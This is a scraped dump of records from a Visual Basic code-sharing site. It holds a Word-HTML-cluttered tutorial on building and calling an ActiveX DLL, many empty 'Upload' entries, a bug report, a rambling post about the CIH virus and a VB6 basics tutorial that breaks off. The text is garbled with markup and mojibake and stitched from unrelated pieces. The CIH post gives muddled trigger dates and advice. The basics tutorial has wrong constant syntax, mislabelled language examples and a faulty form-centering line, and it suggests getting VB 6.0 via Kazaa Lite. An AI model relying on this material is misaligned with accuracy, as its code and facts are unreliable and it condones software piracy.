MyFirstDLL<o:p></o:p>\n 'Purpose: Holds a text string and when the DisplayMsg<o:p></o:p>\n ' sub is called, it displays a message box \nof<o:p></o:p>\n ' the string.<o:p></o:p>\n ' This is just an example showing how a \nclass<o:p></o:p>\n ' file works. \n Now you can type CLASS and . and<o:p></o:p>\n ' a list of properties and subs will \nappear.<o:p></o:p>\n 'Author: Rob Loach<o:p></o:p>\n '=====================<o:p></o:p>\n [if \n!supportEmptyParas] [endif]<o:p></o:p>\n 'Variables<o:p></o:p>\n '=========<span\n style='font-size:10.0pt;mso-bidi-font-size:12.0pt;font-family:\"Courier \nNew\"'><o:p></o:p>\n Private \n<span\n style='font-size:10.0pt;mso-bidi-font-size:12.0pt;font-family:\"Courier \nNew\"'>p_Text\n As String<o:p></o:p>\n [if \n!supportEmptyParas] [endif]<o:p></o:p>\n [if \n!supportEmptyParas] [endif]<o:p></o:p>\n 'Properties<o:p></o:p>\n '==========<span\n style='font-size:10.0pt;mso-bidi-font-size:12.0pt;font-family:\"Courier \nNew\"'><o:p></o:p>\n Public Property Get<span\n style='font-size:10.0pt;mso-bidi-font-size:12.0pt;font-family:\"Courier New\"'>\n Text() As String<o:p></o:p>\n Text =\n p_Text<o:p></o:p>\n End Property<span\n style='font-size:10.0pt;mso-bidi-font-size:12.0pt;font-family:\"Courier New\";\n color:blue'><o:p></o:p>\n Public Property Let<span\n style='font-size:10.0pt;mso-bidi-font-size:12.0pt;font-family:\"Courier New\"'>\n Text(ByVal i_Text\n As String)<o:p></o:p>\n p_Text\n = i_Text<o:p></o:p>\n End Property<span\n style='font-size:10.0pt;mso-bidi-font-size:12.0pt;font-family:\"Courier New\";\n color:blue'><o:p></o:p>\n [if \n!supportEmptyParas] [endif]<o:p></o:p>\n [if \n!supportEmptyParas] [endif]<o:p></o:p>\n 'Functions and Subs<o:p></o:p>\n '==================<span\n style='font-size:10.0pt;mso-bidi-font-size:12.0pt;font-family:\"Courier \nNew\"'><o:p></o:p>\n Public Sub<span\n style='font-size:10.0pt;mso-bidi-font-size:12.0pt;font-family:\"Courier New\";\n color:blue'> DisplayMsg()<o:p></o:p>\n MsgBox\n p_Text, vbOKOnly, \"DLL Function Called\"<o:p></o:p>\n End Sub<o:p></o:p>\n </td>\n </tr>\n</table>\n[if !supportEmptyParas] [endif]<o:p></o:p>\n[if !supportEmptyParas] [endif]<o:p></o:p>\n[if !supportEmptyParas] [endif]<o:p></o:p>\nThis is your class file inside\nyour new DLL. All it will do is\nhold a string called p_Text. Calling\nthe property named Text can change the string. \nWhen the DisplayMsg sub is called, it will make a messagebox saying the\nText string.\n[if \n!supportEmptyParas] [endif]<o:p></o:p>\nYou could put any code you want\ninto this class. This is just an example\nthat we will be using. You can put\nanything you want into the DLL file (Forms, Classes, Modules, etc).\n[if \n!supportEmptyParas] [endif]<o:p></o:p>\n[if \n!supportEmptyParas] [endif]<o:p></o:p>\n[if !supportLists]5)<span\nstyle='font:7.0pt \"Times New Roman\"'> \n[endif]Now\nyou have to rename your class file. \nFor this example, name it clsMyFirstDLL.\n[if !supportLists]6)<span\nstyle='font:7.0pt \"Times New Roman\"'> \n[endif]You\ncan then rename your DLL to MyFirstDLL (or anything you want).<span\nstyle=\"mso-spacerun: yes\"> Click on the ActiveX Icon in the top left of\nthe project window. Next, in the\nproperties window, change the Name property to MyFirstDLL.\n[if !supportLists]7)<span\nstyle='font:7.0pt \"Times New Roman\"'> \n[endif]Now,\nonce your done making your DLL, your going to have to save it as an actual\nfile. Goto File <span\nstyle='font-family:Wingdings;mso-ascii-font-family:\"Times New Roman\";\nmso-hansi-font-family:\"Times New \nRoman\";mso-char-type:symbol;mso-symbol-font-family:\nWingdings'>├á\nMake MyFirstDLL.dllΓÇª Save it\nwherever you want. Just take note of\nwhere you put it.\n[if !supportEmptyParas] [endif]<o:p></o:p>\n[if !supportEmptyParas] [endif]<o:p></o:p>\n[if !supportEmptyParas] [endif]<o:p></o:p>\n[if !supportEmptyParas] [endif]<o:p></o:p>\n[if !supportEmptyParas] [endif]<o:p></o:p>\n<h2>Now that IΓÇÖve made my DLL, how do I use it?</h2>\nYou can call the DLL a\nnumber of ways. In this tutorial, I\nwill only show you one.\nOnce you have a DLL file,\nand want to make use of it, do the following.\n[if !supportLists]1)<span\nstyle='font:7.0pt \"Times New Roman\"'> \n[endif]Start\nMicrosoft Visual Basic.\n[if !supportLists]2)<span\nstyle='font:7.0pt \"Times New Roman\"'> \n[endif]Start\na Standard EXE. This will be the new\nproject that will use the DLL.\n[if !supportLists]3)<span\nstyle='font:7.0pt \"Times New Roman\"'> \n[endif]<span\nstyle=\"mso-spacerun: yes\"> Goto Project <span\nstyle='font-family:Wingdings;mso-ascii-font-family:\"Times New Roman\";\nmso-hansi-font-family:\"Times New \nRoman\";mso-char-type:symbol;mso-symbol-font-family:\nWingdings'>├á\nReferences. It will take some time\nto load. This is a list of DLL files\nthat the application is currently using. \nClick on browse and load the DLL that you just made.<span\nstyle=\"mso-spacerun: yes\"> It will then add the DLL to the list.<span\nstyle=\"mso-spacerun: yes\"> Now click on OK. Your project has now successfully loaded the DLL information,\nfunctions, and properties into memory.\n[if !supportLists]4)<span\nstyle='font:7.0pt \"Times New Roman\"'> \n[endif]Now\nis the time to use the DLL and see how the class works within the DLL.<span\nstyle=\"mso-spacerun: yes\"> Make two command buttons, one named\nCommand1 and the other named Command2. \nNext, make a textbox and name it Text1. These are going to be used in this example.\n[if !supportLists]5)<span\nstyle='font:7.0pt \"Times New Roman\"'> \n[endif]<span\nstyle=\"mso-spacerun: yes\"> Now view the code of the form and put in the\nfollowing code:\n[if \n!supportEmptyParas] [endif]<o:p></o:p>\n[if \n!supportEmptyParas] [endif]<o:p></o:p>\n<table border=1 cellspacing=0 cellpadding=0 bgcolor=\"#e6e6e6\" style='background:\n #E6E6E6;border-collapse:collapse;border:none;mso-border-alt:solid windowtext .5pt;\n mso-padding-alt:0cm 5.4pt 0cm 5.4pt'>\n <tr>\n <td width=590 valign=top style='width:442.8pt;border:solid windowtext .5pt;\n padding:0cm 5.4pt 0cm 5.4pt'>\n '=====================================<o:p></o:p>\n 'Title: MyFirstDLL Application Use<o:p></o:p>\n 'Purpose: An application that uses the DLL that was just \nmade.<o:p></o:p>\n ' It requires a form (Form1)<o:p></o:p>\n ' two commands (Command1 and Command2)<o:p></o:p>\n ' a text box (Text1).<o:p></o:p>\n 'Author: Rob Loach<o:p></o:p>\n '=====================================<o:p></o:p>\n [if \n!supportEmptyParas] [endif]<o:p></o:p>\n [if \n!supportEmptyParas] [endif]<o:p></o:p>\n 'Variables<o:p></o:p>\n '=========<o:p></o:p>\n [if \n!supportEmptyParas] [endif]<o:p></o:p>\n 'Make a variable that uses the class\n in the<o:p></o:p>\n 'MyFirstDLL DLL file so that we can\n make use of it.<o:p></o:p>\n Dim <span\n style='font-size:10.0pt;mso-bidi-font-size:12.0pt;font-family:\"Courier New\";\n color:black'>MyFirstDLL As \nNew<span\n style='font-size:10.0pt;mso-bidi-font-size:12.0pt;font-family:\"Courier New\";\n color:green'> clsMyFirstDLL<span\n style='font-size:10.0pt;mso-bidi-font-size:12.0pt;font-family:\"Courier New\";\n color:green'><o:p></o:p>\n [if \n!supportEmptyParas] [endif]<o:p></o:p>\n Private Sub<span\n style='font-size:10.0pt;mso-bidi-font-size:12.0pt;font-family:\"Courier New\";\n color:green'> Command1_Click()<span\n style='font-size:10.0pt;mso-bidi-font-size:12.0pt;font-family:\"Courier New\";\n color:green'> 'Set text<o:p></o:p>\n \n 'Set the property of MyFirstDLL to text1 text<o:p></o:p>\n \n 'This shows how to set a property of the class/DLL.<o:p></o:p>\n \n MyFirstDLL.Text = Text1.Text<span\n style='font-size:10.0pt;mso-bidi-font-size:12.0pt;font-family:\"Courier New\";\n color:green'><o:p></o:p>\n End Sub<o:p></o:p>\n [if \n!supportEmptyParas] [endif]<o:p></o:p>\n Private Sub<span\n style='font-size:10.0pt;mso-bidi-font-size:12.0pt;font-family:\"Courier New\";\n color:green'> Command2_Click()<span\n style='font-size:10.0pt;mso-bidi-font-size:12.0pt;font-family:\"Courier New\";\n color:green'><o:p></o:p>\n \n 'Call the sub DisplayMsg in the DLL.<o:p></o:p>\n \n 'This shows how to call a sub/function of the \nclass/DLL.<o:p></o:p>\n \n MyFirstDLL.DisplayMsg<span\n style='font-size:10.0pt;mso-bidi-font-size:12.0pt;font-family:\"Courier New\";\n color:green'><o:p></o:p>\n End Sub<o:p></o:p>\n [if \n!supportEmptyParas] [endif]<o:p></o:p>\n Private Sub<span\n style='font-size:10.0pt;mso-bidi-font-size:12.0pt;font-family:\"Courier New\";\n color:green'> Form_Load()<o:p></o:p>\n \n 'Initialize the Objects<o:p></o:p>\n \n Form1.Caption = \n\"MyFirstDLL\"<o:p></o:p>\n \n Text1.Text = \"Enter text to be displayed \nhere...\"<o:p></o:p>\n \n Command1.Caption = \"Set Text\"<o:p></o:p>\n \n Command2.Caption = \"Display Text\"<span\n style='font-size:10.0pt;mso-bidi-font-size:12.0pt;font-family:\"Courier New\";\n color:green'><o:p></o:p>\n End Sub<o:p></o:p>\n </td>\n </tr>\n</table>\n[if \n!supportEmptyParas] [endif]<o:p></o:p>\n[if \n!supportEmptyParas] [endif]<o:p></o:p>\n[if \n!supportEmptyParas] [endif]<o:p></o:p>\n[if !supportLists]6)<span\nstyle='font:7.0pt \"Times New Roman\"'> \n[endif]Now\nrun the program and play around with it. \nAs you can see, when you click Set Text, it sets the property ΓÇ£TextΓÇ¥ in\nMyFirstDLL to whatever you typed in. When\nyou click Display Text, it calls the sub DisplayMsg in the DLL.\n[if \n!supportEmptyParas] [endif]<o:p></o:p>\n[if !supportEmptyParas] [endif]<o:p></o:p>\n<h2>Quick Things To Remember</h2>\n[if !supportLists]<span\nstyle='font-family:Symbol'>┬╖ \n[endif]To make a DLL, use ActiveX DLL project.\n[if !supportLists]<span\nstyle='font-family:Symbol'>┬╖ \n[endif]Project ├á References\n[if !supportLists]<span\nstyle='font-family:Symbol'>┬╖ \n[endif]Keep your DLLs in the same directory as the project.\n[if !supportLists]<span\nstyle='font-family:Symbol'>┬╖ \n[endif]Name everything to keep organization.\n[if !supportLists]<span\nstyle='font-family:Symbol'>┬╖ \n[endif]Make sure to use as many variables as possible in every\nsub/function in your DLLs to allow diversity of programs.\n[if \n!supportEmptyParas] [endif]<o:p></o:p>\n[if \n!supportEmptyParas] [endif]<o:p></o:p>\n<h2>Conclusion</h2>\nThat concludes this tutorial! In it you learned how to make a DLL and use it in a different\nprogram. Thank you for reading MyFirstDLL\nand I hope you have learned the DLL-VB concept. \n[if \n!supportEmptyParas] [endif]<o:p></o:p>\n[if \n!supportEmptyParas] [endif]<o:p></o:p>\n</div>\n"},{"WorldId":1,"id":49805,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":49811,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":49812,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":49820,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":49824,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53276,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53281,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53296,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53297,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53304,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53307,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53309,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53311,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53313,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53316,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53318,"LineNumber":1,"line":"I have found a bug in the new service pack. At least for me. With the new service pack start a new project and load a listview to reports, add some columns and try to reorder the columns. Complete VB crash. also old programs that can reodrer that worked before no longer work with the new files installed!! Please if you have this problem to post here. I wonder how we could have microsoft fix this, cause this is a big bug that will affect a lot of programs out there.\n"},{"WorldId":1,"id":53320,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53322,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53325,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53329,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53337,"LineNumber":1,"line":"CIH Virus or known as Chernobyl\nCreator Identified 30th April 1999 (NST) \nWho is the coder: A former computer engineering student was identified in 30th April 1999 as the author of the Chernobyl virus that had caused hundreds of thousands of computer meltdowns around the world. The Tatung Institute of Technology had punished Chen Ing-hau last April when the virus he wrote as a student began to cause damage in an inter-college data system, according to Lee Chee-chen, the institute's dean of student affairs. The Chernobyl virus is known in Taiwan as the CIH, derived from Chen's initials. Chen, who was a senior at the time, was given a demerit but not expelled. The college did not mete out a more severe punishment because Chen had warned fellow students not to spread the virus, Lee added Chen did not come up with an anti-virus program, thatΓÇÖs why he create this worm. \nThe CIH virus: attempts to erase the writable flash bios of infected PC's, and also overwrites the first 2,048 sectors (1,048,576 bytes) of all of the system's available non-removable writable disk drives! While this behavior places the CIH virus among the nastiest of all viruses, the damage is more recoverable than at first appears:\nDate that can infect and operating systems: Every year between April 24 to 26 these 2 days are too dangerous thatΓÇÖs mean the only way to escape is to be in updated with your antivirus program or to play with your system dat for example, you are in 22 april let it be 20 thatΓÇÖs mean till it reach 24 probably it fake the virus execution and will not execute at its real time 24 or 26, another way to use in my case Symantec Norton FixCih removal tool can be obtained from Norton.com , this virus also sometimes can be found in a vb source code or any instllaion program that obtained on cd or any other media device such as any hard drive or removable drives \nWhy I write this: The reason I wrote this thatΓÇÖs because in 2002 I had a vb source code in my drive I donΓÇÖt know from where I obtain it I cant annoy his coder but actually it seems his pc either damaged like mine, so once afternoon I shut down my pc to took a rest and after 2 hours when I came to turn on my pc back I suddened by this message first ΓÇ£Operating system not foundΓÇ¥ known that fast I reformatted my hard drive and install every software needed when I reach my VGA driver it needed reboot but this time attacked me by a very painfull message saying ΓÇ£BIOS CHECKSUM ERRORΓÇ¥ I try to flash my bios but for bad nothing even no floppy reading so I lost a hard drive 15Gb and all my system board and cards just for unexpected thing like this L,so thatΓÇÖs why I preferred to write this to my friends all over thre world in case you forget the date re remember it please and obtain fastly your removal tool and or update your AV software ..\nOperating systems that can be infected: CIH can infect only systems that operate under windows 95/98/98se/Winme\nXp NT and 2003 wil not be infected at all J\nStorty written by kegham\nKegham_d@hotmail.com\nNickname: The Boss"},{"WorldId":1,"id":53341,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53358,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53359,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53377,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53382,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53383,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53389,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53401,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53409,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53426,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53436,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53438,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53440,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53442,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53443,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53446,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53448,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53453,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53461,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53467,"LineNumber":1,"line":"<h4>-Getting Started-</h4>\n \nVisual Basic is an object-oriented programming language that uses the Microsoft Windows platform. The programs that are created using Visual Basic will look and act like standard Windows programs. Visual Basic provides one the tools to create windows with elements such as menus, text boxes, command buttons, option buttons, list boxes and scroll bars.\nThis tutorial does not completely cover all ΓÇÿbasisΓÇÖ of Visual Basic. This is just basically an over view to learn a bit about VB. Databases, Crystal Reports and others are not included to keep this tutorial under 500 pages and to keep carpal tunnel from occurring.\nThis tutorial was written assuming that you possibly have some programming knowledge. Like what an IF / THEN / ELSE statement is. So, if you have taken Basic Or QBasic, thatΓÇÖs ideal before reading this tutorial.\nAlso, it would not help much reading this tutorial if you do not have VB 6.0 on your computer. I think you can download it from Kazaa Lite (kinda big though) if you do not have it. But get it if you donΓÇÖt have it, open it and read this.\n \n<h4>Procedural vs. Non-Procedural Languages</h4>\n \nProcedural Languages - Programming languages that have a set plan that you follow to execute a program. You have a series of statements that you execute where you start with the first statement. The statements are executed in order from beginning to end. The program terminates after the last statement is executed.\n \nExamples of Procedural Languages:\n \n<ul>\n<li>FORTRAN</li>\n<li>COBOL</li>\n<li>BASIC</li>\n<li>C</li> \n<li>PASCAL</li>\n</ul>\n \nand more... \nNon-Procedural Languages - Object-Oriented programming languages that are Event-driven. Here you donΓÇÖt just have a series of statements that are executed, you have several choices of different things you can do in a program. You select the event that you want to occur. Only the code for that event is executed.\n \nExamples of Procedural Languages:\n \n<ul>\n<li>Visual Basic</li> \n<li>C++</li> \n<li>DELPHI</li> \n<li>JAVA</li> \n</ul>\n<h5>Labels, Text Boxes and Command Buttons</h5>\n \nLabel - A control that is used to display text as a caption. Labels cannot be altered by the used. They are simply used to display headings and results of processing as well as other information on a form. Labels begin with a .lbl extension.\n \nExamples of labels:\n \n<ul>\n<li>lblName</li> \n<li>lblAddress</li> \n<li>lblCity</li> \n</ul>\n \nText Box - Control that is used to enter information onto a form. Text boxes can have focus and are the primary means of providing input to a project in Visual Basic. Text boxes begin with the prefix of .txt\n \nExamples of Text Boxes:\n \n<ul>\n<li>txtSponge</li> \n<li>txtBob</li> \n<li>txtNum1</li> \n</ul>\n \nCommand Buttons - Control used to activate a procedure. When a command button is clicked on or activated using an access key, and event will take place (the code behind the command button is executed.) Command buttons begin with the prefix .cmd\n \n<h5>Types of Errors</h5>\n \n<ul>\n<li>Syntax Errors - Compiler errors that occur when your project code is converted to machine language. These are errors that occur when you violate the syntax rules of Visual Basic. VB will highlight these errors in RED.</li>\n<li>Run-Time Errors - Errors that occur when programming is actually executing. These types of errors will cause the program to terminate abnormally. Examples of run-time errors are division by zero, or trying to do calculations with non-numeric data. VB will display a dialog box, pull up the affected code on screen, and highlight where the error occurred in YELLOW.</li> \n<li>Logical Errors - Errors which allow your project to run, but will produce incorrect results. These errors are tough to find and debug because no error message will be displayed or highlighted. You will have to dig through the code to find the error(s). Examples would be : Adding 3 instead of subtracting 3, or displaying the wrong info in a label.</li>\n</ul>\n \n<h5>Special Functions and Methods</h5>\n \nVAL() - A function that will convert a string to a numeric value. It begins with the left-most character of the string. If that character is a numeric digit, decimal point or a sign, VAL will convert the character to a numeric and move on to the next character. Once a non-numeric character is found, the VAL function will stop. \nPrintForm - A method that will print the current form on the printer. This is executed during run-time. \nFORMAT - This is used to format a variable. Variables can be formatted as fixed numbers, currency and percents. \n \nSyntax : \n<pre>\n< var > = FORMAT( < var > ,\" < type of format > \")\n</pre>\n \nExamples: \n<pre>\nlblTotal = Format(lblTotal,\"Currency\") 'Formats number with a $ and two decimal places. \nlblArea = Format(lblTotal,\"Fixed\") ' Formats number as decimal with two decimal places.\nLblPctTotal = Format(lblPctTotal,\"Percent\") 'Formats number as percent with two decimal places and adds % to end of number.\n</pre>\n \nFormatCurrency - This function will take a number and format it as currency with two decimal places and a $ sign. There is only one argument, the number you want to format.\n \n<pre>\nlblSum = FormatCurrency(NumToFormat)\nlblTotalAmount = FormatCurrency(curTotal)\n</pre>\n \nFormatNumber - This function will format a number as a decimal with a set number of decimal places. The first argument is the number you want to format. The second is the number of decimal places you want the number to have.\n\n \n<pre>\nlblTotal = FormatNumber(NumToFormat,NumOfDecimalPlaces)\nlblSum = FormatNumber(Sum,2)\n</pre>\n \nFormatPercent - This function will take the number and format it as a percent. The function will multiply by 100 and add a percent sign to the end of the number. The number by default will be rounded to zero decimal places unless you specify a 2nd argument.\n \n<pre>\nlblTotalPct = FormatPercent(NumToFormatAsPercent)\nlblSumPct = FormatPercent(NumToFormatAsPercent, NumOfPlaces)\nlblCurrInterest = FormatPercent(CurrentInterest)\n</pre>\n \nFormatDate and Time - This function will take a string and format it as a Date, Time or both. The first argument is the date or time to be formatted. The 2nd argument is the format of date/time you wish to use.\n \n<pre>\nlblCurrentDate = FormatDateTime(StartingDate, vbShortDate)\nlblCurrentDate = FormatDateTime(EndingDate, vbLongDate)\nlblCurrentTime = FormatDateTime(StartingTime, vbShortTime)\nlblCurrentTime = FormatDateTime(StartingTime, vbLongTime)\n</pre>\n<h4>Variables and Constants</h4>\n \nOption Explicit - A statement that will force you to declare all variables used in your program. If you fail to declare a variable, an error will occur when you run your program. \n \n<h5>DECLARING A VARIABLE:</h5>\n \nWhen you declare a variable, VB reserves space in the computers memory and assigns it a name. When declaring variables, there are certain rules that must be followed.\n \nRULES (for variable names):\n \n<ul>\n<li>Variables must begin with a letter.</li>\n<li>Can consist of letters, digits and the underscore.</li>\n<li>Cannot contain any spaces or periods.</li>\n<li>Must be 1 to 255 positions in length</li>\n<li>Cannot use Reserved Words as variable names.</li>\n</ul>\n \nNOTE: Rules ( above ) also apply to naming controls that are placed on a form.\n \nThe DIM statement is used to declare all variables in VB.\n \nSyntax:\n \nDIM < variable_name > as < datatype > \n \nExamples:\n \n<pre>\nDIM inNum1 as Integer\nDIM strName as String\nDIM curTotalAmount as Currency\n</pre>\n \n<h4>DECLARING A CONSTANT:</h4>\n \nConstants are always declared using the keyword CONST. You give the constant a name, data type and value. Once a value is declared a constant, it can never be changed again in the program. Trying to change a constant will cause an error. The rules for variables also apply to constants.\n \nSyntax:\n \nDIM < constant name > as < datatype > = < value > \n \nExamples:\n \n<pre>\nDIM sngPI as Single = 3.14\nDIM curTaxRate as Currency = .07\n</pre>\n \nNAMED CONSTANTS - These are constants that you name yourself with the CONST keyword. Named constants can come in the form as numeric constants and string constants.\nNUMERIC CONSTANTS - Constants that can contain only the digits 0-9, a decimal pt and sign. \nSTRING CONSTANTS - Constants that can contain letters, digits, and special characters such as @#$%^&*. String constants must be enclosed in double quotes.\nINSTRINCT CONSTANTS - System-Defined constants that are built into VB.\n \nExamples of Instrinct Constants:\n \n<ul>\n<li>vbRed</li>\n<li>vbGreen </li>\n<li>vbBlue</li>\n<li>Checked</li>\n<li>vbYellow</li> \n<li>UnChecked</li>\n</ul>\n \n<h4>SCOPES OF VARIABLES:</h4>\n \nScope - Is a term used to refer to the visibility of a variable.\n \nLifetime - The period of time that variables exist.\n \n<h5>3 LEVELS OF SCOPE:</h5>\n \n<ul>\n<li>Global Variable - Variable accessible anywhere in VB, in all forms that are a part of the project. </li>\n<li>Module-Level Variable - Variable that to all procedures on the form in which it is declared.</li>\n<li>Local Variable - Variable accessible only in the procedure which it was declared. </li>\n</ul>\n \n<h5>PROPERTIES</h5>\n \nDefault Property - Automatically selects a cmd button when the user presses the < ENTER > key. To make a cmd button a default button, you set its DEFAULT property to TRUE. Only one command button per form can have its default property set to true. When the program is run, this cmd button will be highlighted. \nCancel Property - The button that is selected when the user presses the < ESC > key. To set a cmd button to the cancel button, you set its CANCEL property to TRUE. Only one cmd button per form can have its cancel button set to true. \nTabStop Property - Represents all controls on a form that can receive focus. If the TabStop property is TRUE, a control can receive focus. If it is FALSE, then it cannot.\n \nSome controls can receive focus, others cant. \nTxt Boxes, and cmd buttons can receive focus. \nLabels and images cannot receive focus.\n \nTabIndex Property - Determines order of focus moves as the < TAB > key is pressed.\n \nName - Used to assign the name of the control as it is known by the project. \nCaption - The label that appears next to, in or on top of the control. \nBackColor - The background color of the control. \nForeColor - The color of the text that appears on or next to the control. \nText - The text which appears in a text box. \nAlignment - Determines justification of the text within a label or text box. \n<ul>\n<li>0 - Left Justify</li>\n<li>1 - Right Justify</li>\n<li>2 - Center</li>\n</ul>\n \nMultiLine - Allows a string to be spread out among several lines instead of one line. \nFont - Allows you to set the font and font size of a control. \nTabIndex - Determines the order the focus moves as the < TAB > key is pressed. \nVisible- Property used to make a control visible or invisible \n<pre>\nlblTotal.Visible = True 'label will be displayed on the form.\nlblTotal.Visible = False 'label will not be displayed on the form.\n</pre>\n \nFillStyle - Primarily used with shapes, is used to fill the shape. Different options are available. \n<ul>\n<li>0 - Solid</li>\n<li>1 - Transparent </li>\n<li>2 - Horizontal Line </li>\n<li>3 - Vertical Line</li>\n<li>4 - Upward Diagonal </li>\n<li>5 - Downward Diagonal</li>\n<li>6 - Cross</li>\n<li>7 - Diagonal Cross</li>\n</ul>\n \nEXAMPLES :\n \n<pre>\nSquare.FillStyle = 0 \nSquare.FillStyle = 8 \n</pre>\n<h4>Option Buttons... Formats</h4>\n \nOption Buttons - Group of controls where only one can be selected at a time.\nCheck Boxes - Group of controls where more than one can be selected at a time.\nFrame - Control that often acts as a container for a group of option buttons or check boxes.\nImage - Type of control that is used to hold a graphic.\nShape - Type of control used to place rectangles, squares, ovals and circles on a form. \n \n<h5>OPTION BUTTONS:</h5>\n \nThe VALUE property of the option button is set TRUE if you want it to be selected, otherwise, FALSE. \n \nSet the option buttons CAPTION property to the text you want to appear next to the option button.\n \nWhen assigning an option button, a variable name always starts out with the prefix, opt \n \nIf you want an event to occur when you click on an opt button, you can double-click on the opt button to place code behind the opt button.\n<h5>CHECK BOXES:</h5>\n \nMore than one check box can be selected at a time.\n \nThe VALUE property of the option button is set to CHECKED if you want it to be selected, otherwise, set it to UNCHECKED.\n \nA second option is to set the VALUE property on check boxes to a 0, 1 or 2.\n \n<ul>\n<li>0 - UnChecked</li> \n<li>1 - Checked</li> \n<li>2 - Grayed</li>\n</ul>\n \nSet the CAPTION property to the text you would like to appear next to the check box\n \nWhen assigning a variable name, always start out with prefix chk\n \nIf you want an event to occur when you click on a chk box, double-click the button to place code behind. \n \n<h5>IMAGES:</h5>\nClick on the images PICTURE property and locate the folder or drive where the picture is located.\n \nSelect the pic you want and it will be placed on the form. \nSet images STRECH property to TRUE. This will size the pic to the size of the control you have defined on the form.\n \nAll controls that are images should begin with img prefix.\n \n<h5>SHAPES:</h5>\n \nThe types of shapes and codes are shown below...\n \n<ul>\n<li>0 - Rectangle</li> \n<li>1 - Square</li> \n<li>2 - Oval</li> \n<li>3 - Circle</li> \n<li>4 - Rounded Rectangle</li> \n<li>5 - Rounded Square</li>\n</ul>\n \nAll controls that are shapes should begin with the shp prefix. \n \n<h5>LINES</h5>\n \nUse the crosshair pointer to drag a line across the screen. You may rotate the line in any direction and stretch it until releasing the move button.\n \nAll line controls should begin with the lin prefix. \n \nDetermining Focus\n \nFocus - Refers to the currently selected control on the form. This can be indicated by an | - Beam, selected text, highlighted caption or dotted border. The control with focus is ready to receive input.\nSetFocus - A built-in function that when executed will move the cursor to the control and give that control focus. SetFocus can be used with txt boxes, cmd buttons, opt buttons and chk boxes.\n \nExamples of setFocus:\n \n<pre>\ntxtNum1.setFocus 'will place cursor in the text box.\ncmdCalc.setFocus 'will hilight this command button.\noptBlue.setFocus 'will put dotted lines around this opt button. \n</pre>\n \n<h5>Working With Strings</h5>\n \nConcatenation - Refers to combining two or more smaller strings into a larger string. In VB, you can either use the & or + symbols to do concatenation.\n \nExamples of Concatenation:\n \n<pre>\nStrFirstName + \" \" + strMiddleInitial + \". \" + StrLastName\nStrFirstName & \" \" + strMiddleInitial & \". \" + StrLastName\n</pre>\n \n<h5>Formats</h5>\n \nCENTERING A FORM IN THE MIDDLE OF THE SCREEN:\n \n(This code would go in the FORM LOAD [ by double clicking empty space on the form.])\n \n< Name of form > .Top = (Screen.Height - < Name of form > .Height)/2 \n< Name of Form > .Left = (Screen.Width - < Name of form > .Width)/2\n \n < Name of Form > - This is the actual name of the form as you have saved it in your program.\nIf you named your form SQUARE, you would code the statement in the following way: \n \n<pre>\nSQUARE.Top = (Screen.Height - SQUARE.Height)/2\nSQUARE.Left = (Screen.Height - SQUARE.Width)/2\n</pre>\n<h4>Input Boxes, Message and List Boxes</h4>\n \n \nInput Box - A function that will display a message and allow the user to enter information in a text box. In the Input box you can display a message called a prompt, which will help the user decide what information he needs to enter in the text box. \n \nThe input box will have a txt box with the prompt above it and two command buttons, OK and CANCEL. The OK will accept whatever input the user enters and place it in the variable on the left hand side of the equals sign. The CANCLEL button will ignore any input entered by the user and return the user back to the form that is currently open. \n \nInput Boxes are often used when one wants to retrieve records from files. \n \nVariableName = InputBox(\"Prompt\",\"Title\") \n \nExamples: \n<pre>\nStrName = InputBox(\"Enter your name\", \"Sponge Bob\")\nStrCareer = InputBox(\"Enter your workplace\", \"Nickelodeon\")\n</pre>\n \nThe prompt must be enclosed in quotes. The title must also be in quotes and will appear in the Title Bar of the Input Box. If no title is entered, the title of the project will appear in the Title Bar. \n \nInput Boxes can appear in the following places: \n \n<ul>\n<li>Form_Load</li>\n<li>Command Buttons</li>\n<li>Option Buttons</li>\n<li>Check Boxes</li>\n</ul>\n \n<h5>Form Load</h5>\n \nForm_Load - Code executed as the project is loading. The first time a form is displayed in a project, VB generates an event knows as FORM_LOAD. Any code in Form Load is then executed.\n \nThings that are done in the FORM_LOAD section of a VB program include the following: \n<ul>\n<li>Code to center the form in the middle of the screen</li> \n<li>Code to initialize variables</li>\n<li>Code for input boxes so the user can enter info.</li>\n<li>Display info in labels on the form.</li>\n</ul>\n \nTo get the FORM_LOAD event to enter code, again; double click on an empty area on the form. The FORM_LOAD event begins and ends with the following procedure headings:\n \nPrivate Sub Form_Load() \n \n< Place Code Here > \nEnd Sub \n \n \nExample of code in the FORM_LOAD event: 